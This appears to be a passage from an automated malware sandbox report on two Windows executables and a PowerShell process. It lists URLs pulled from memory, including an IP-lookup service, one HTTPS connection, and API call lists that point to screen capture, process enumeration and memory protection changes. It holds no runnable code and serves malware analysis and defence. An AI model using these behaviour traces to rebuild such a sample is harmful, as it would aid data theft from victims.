Source: 9RM52QaURq.exe, 00000000.00000002.2138541168.0000000006BD2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: 9RM52QaURq.exe, 00000000.00000002.2138541168.0000000006BD2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: 9RM52QaURq.exe, 00000000.00000002.2138541168.0000000006BD2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: 9RM52QaURq.exe, 00000000.00000002.2138541168.0000000006BD2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: 9RM52QaURq.exe, 00000000.00000002.2138541168.0000000006BD2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: 9RM52QaURq.exe, 00000000.00000002.2138541168.0000000006BD2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: 9RM52QaURq.exe, 00000000.00000002.2138541168.0000000006BD2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: 9RM52QaURq.exe, 00000000.00000002.2138541168.0000000006BD2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: 9RM52QaURq.exe, 00000000.00000002.2138541168.0000000006BD2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: 9RM52QaURq.exe, 00000000.00000002.2138541168.0000000006BD2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: 9RM52QaURq.exe, 00000000.00000002.2138541168.0000000006BD2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: 9RM52QaURq.exe, 00000000.00000002.2138541168.0000000006BD2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: 9RM52QaURq.exe, 00000000.00000002.2138541168.0000000006BD2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: 9RM52QaURq.exe, 00000000.00000002.2138541168.0000000006BD2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: 9RM52QaURq.exe, 00000000.00000002.2138541168.0000000006BD2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: 9RM52QaURq.exe, 00000000.00000002.2138541168.0000000006BD2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: 9RM52QaURq.exe, 00000000.00000002.2138541168.0000000006BD2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: 9RM52QaURq.exe, 00000000.00000002.2138541168.0000000006BD2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: 9RM52QaURq.exe, 00000000.00000002.2138541168.0000000006BD2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: 9RM52QaURq.exe, 00000000.00000002.2138541168.0000000006BD2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: 9RM52QaURq.exe, 00000000.00000002.2138541168.0000000006BD2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: 3UuxTH6FMX.exe, 00000008.00000003.2099556343.00000218BFFF1000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2099870231.00000218BE215000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 00000005.00000002.1978076132.0000000004FA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: 3UuxTH6FMX.exe, 00000008.00000002.2193147052.00000218BFD60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: 3UuxTH6FMX.exe, 00000008.00000002.2193147052.00000218BFD60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/3)
Source: 3UuxTH6FMX.exe, 00000008.00000003.2120404079.00000218BE281000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2120597539.00000218C0058000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2120514824.00000218C0057000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: 3UuxTH6FMX.exe, 00000008.00000003.2120404079.00000218BE281000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2120597539.00000218C0058000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2120514824.00000218C0057000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: 3UuxTH6FMX.exe, 00000008.00000003.2099556343.00000218BFFF1000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2099870231.00000218BE215000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 3UuxTH6FMX.exe, 00000008.00000003.2099556343.00000218BFFF1000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2099870231.00000218BE215000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 3UuxTH6FMX.exe, 00000008.00000003.2099556343.00000218BFFF1000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2099870231.00000218BE215000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 3UuxTH6FMX.exe, 00000008.00000003.2120404079.00000218BE281000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2120597539.00000218C0058000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2120514824.00000218C0057000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: 3UuxTH6FMX.exe, 00000008.00000003.2120404079.00000218BE281000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2120597539.00000218C0058000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2120514824.00000218C0057000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: powershell.exe, 00000005.00000002.1981163512.0000000006008000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000005.00000002.1981163512.0000000006008000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000005.00000002.1981163512.0000000006008000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: 3UuxTH6FMX.exe, 00000008.00000003.2099057290.00000218BFDFF000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2099556343.00000218BFFF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 3UuxTH6FMX.exe, 00000008.00000003.2099057290.00000218BFDFF000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2099556343.00000218BFFF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 3UuxTH6FMX.exe, 00000008.00000003.2099057290.00000218BFDFF000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2099556343.00000218BFFF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: powershell.exe, 00000005.00000002.1978076132.00000000050F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: 3UuxTH6FMX.exe, 00000008.00000003.2120514824.00000218C0057000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: powershell.exe, 00000005.00000002.1981163512.0000000006008000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: 3UuxTH6FMX.exe, 00000008.00000003.2112207449.00000218C05D0000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2116619540.00000218C121D000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2113772351.00000218BFEEA000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2115513211.00000218C06EC000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2112207449.00000218C05D8000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2113394324.00000218C0698000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2115513211.00000218C06E4000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2115062683.00000218BFE17000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2112207449.00000218C0690000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2115513211.00000218C076B000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2113772351.00000218BFEE2000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2115960288.00000218C0763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: 3UuxTH6FMX.exe, 00000008.00000003.2113772351.00000218BFEF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 3UuxTH6FMX.exe, 00000008.00000003.2113772351.00000218BFEF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: 3UuxTH6FMX.exe, 00000008.00000003.2100300244.00000218BFDE5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: 3UuxTH6FMX.exe, 00000008.00000003.2100300244.00000218BFDE5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: 3UuxTH6FMX.exe, 00000008.00000003.2120404079.00000218BE281000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2120597539.00000218C0058000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2120514824.00000218C0057000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: 3UuxTH6FMX.exe, 00000008.00000003.2099556343.00000218BFFF1000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2099870231.00000218BE215000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 3UuxTH6FMX.exe, 00000008.00000003.2120404079.00000218BE281000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2120597539.00000218C0058000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2120514824.00000218C0057000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: 3UuxTH6FMX.exe, 00000008.00000003.2099556343.00000218BFFF1000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2099870231.00000218BE215000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 3UuxTH6FMX.exe, 00000008.00000003.2112207449.00000218C05D0000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2116619540.00000218C121D000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2113772351.00000218BFEEA000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2115513211.00000218C06EC000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2112207449.00000218C05D8000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2113394324.00000218C0698000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2115513211.00000218C06E4000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2115062683.00000218BFE17000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2112207449.00000218C0690000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2115513211.00000218C076B000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2113772351.00000218BFEE2000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2115960288.00000218C0763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: 3UuxTH6FMX.exe, 00000008.00000003.2113772351.00000218BFEF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: 3UuxTH6FMX.exe, 00000008.00000003.2113772351.00000218BFEF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: 3UuxTH6FMX.exe, 00000008.00000003.2113394324.00000218C069F000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2117054631.00000218C13E5000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2115960288.00000218C0773000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2115513211.00000218C06F4000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2112207449.00000218C05DF000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2113772351.00000218BFEF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 3UuxTH6FMX.exe, 00000008.00000003.2113772351.00000218BFEF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 3UuxTH6FMX.exe, 00000008.00000003.2113394324.00000218C069F000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2117054631.00000218C13E5000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2115960288.00000218C0773000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2115513211.00000218C06F4000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2112207449.00000218C05DF000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2113772351.00000218BFEF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53977
Source: unknown	Network traffic detected: HTTP traffic on port 53977 -> 443

Source: unknown

HTTPS traffic detected: 172.67.74.152:443 -> 192.168.2.4:53977 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe

Code function: 8_2_00000218BFBCFB30 GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetDC,GetDeviceCaps,GetDeviceCaps,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,SHCreateMemStream,SelectObject,DeleteDC,ReleaseDC,DeleteObject,EnterCriticalSection,LeaveCriticalSection,IStream_Size,IStream_Reset,IStream_Read,SelectObject,DeleteDC,ReleaseDC,DeleteObject,

8_2_00000218BFBCFB30

Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBD3CF0 GetModuleHandleA,GetProcAddress,OpenProcess,NtQuerySystemInformation,NtQuerySystemInformation,GetCurrentProcess,NtQueryObject,GetFinalPathNameByHandleA,CloseHandle,CloseHandle,	8_2_00000218BFBD3CF0
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFC226E0 NtAllocateVirtualMemory,	8_2_00000218BFC226E0
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBD43F0 RtlAcquirePebLock,NtAllocateVirtualMemory,lstrcpyW,lstrcatW,NtAllocateVirtualMemory,lstrcpyW,RtlInitUnicodeString,RtlInitUnicodeString,LdrEnumerateLoadedModules,RtlReleasePebLock,CoInitializeEx,lstrcpyW,lstrcatW,CoGetObject,lstrcpyW,lstrcatW,CoGetObject,CoUninitialize,	8_2_00000218BFBD43F0
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00007FF7AA1015F0 NtQueryVirtualMemory,NtProtectVirtualMemory,	8_2_00007FF7AA1015F0

Source: C:\Users\user\Desktop\9RM52QaURq.exe	Code function: 0_2_0118D324	0_2_0118D324
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Code function: 0_2_04AEE6E8	0_2_04AEE6E8
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Code function: 0_2_04AEB9F1	0_2_04AEB9F1
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Code function: 0_2_04AE0023	0_2_04AE0023
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Code function: 0_2_04AE0040	0_2_04AE0040
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Code function: 0_2_073505E8	0_2_073505E8
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Code function: 0_2_073554B0	0_2_073554B0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_04A5B770	5_2_04A5B770
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_04A5B748	5_2_04A5B748
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFB8ACC0	8_2_00000218BFB8ACC0
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBCFB30	8_2_00000218BFBCFB30
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBD8B70	8_2_00000218BFBD8B70
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFC0E968	8_2_00000218BFC0E968
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFB8C8C0	8_2_00000218BFB8C8C0
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFB7F8B0	8_2_00000218BFB7F8B0
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFC098C0	8_2_00000218BFC098C0
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFB8B820	8_2_00000218BFB8B820
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBD0820	8_2_00000218BFBD0820
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBD662B	8_2_00000218BFBD662B
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBD1660	8_2_00000218BFBD1660
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBDC55A	8_2_00000218BFBDC55A
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBE749C	8_2_00000218BFBE749C
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBB1340	8_2_00000218BFBB1340
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFB922D0	8_2_00000218BFB922D0
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFB7F1C0	8_2_00000218BFB7F1C0
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBCF200	8_2_00000218BFBCF200
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBF114C	8_2_00000218BFBF114C
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBD70B0	8_2_00000218BFBD70B0
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBD1FF0	8_2_00000218BFBD1FF0
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFB8CF60	8_2_00000218BFB8CF60
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBC8F60	8_2_00000218BFBC8F60
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBF9EA0	8_2_00000218BFBF9EA0
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFB7FEE0	8_2_00000218BFB7FEE0
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBCAE50	8_2_00000218BFBCAE50
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBBFDB0	8_2_00000218BFBBFDB0
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFB55DB0	8_2_00000218BFB55DB0
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBE0D98	8_2_00000218BFBE0D98
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBEEE06	8_2_00000218BFBEEE06
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFB56D20	8_2_00000218BFB56D20
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBF4D78	8_2_00000218BFBF4D78
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBE2CD0	8_2_00000218BFBE2CD0
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBBCC50	8_2_00000218BFBBCC50
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBE8C34	8_2_00000218BFBE8C34
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFB87B8D	8_2_00000218BFB87B8D
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBF19B8	8_2_00000218BFBF19B8
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBA9A10	8_2_00000218BFBA9A10
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBE4A00	8_2_00000218BFBE4A00
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBF29F4	8_2_00000218BFBF29F4
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBB8950	8_2_00000218BFBB8950
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBBC930	8_2_00000218BFBBC930
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBF6984	8_2_00000218BFBF6984
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBE58D0	8_2_00000218BFBE58D0
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBC28C0	8_2_00000218BFBC28C0
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFB9C820	8_2_00000218BFB9C820
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBE088C	8_2_00000218BFBE088C
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBE47FC	8_2_00000218BFBE47FC
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBEF7F4	8_2_00000218BFBEF7F4
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBD4740	8_2_00000218BFBD4740
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBC6760	8_2_00000218BFBC6760
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFB986D0	8_2_00000218BFB986D0
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBA66A0	8_2_00000218BFBA66A0
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBC06A6	8_2_00000218BFBC06A6
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBB4710	8_2_00000218BFBB4710
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBEE6F8	8_2_00000218BFBEE6F8
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBDB68A	8_2_00000218BFBDB68A
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBA55B0	8_2_00000218BFBA55B0
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFB56610	8_2_00000218BFB56610
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBBC600	8_2_00000218BFBBC600
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBE45F8	8_2_00000218BFBE45F8
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFB75520	8_2_00000218BFB75520
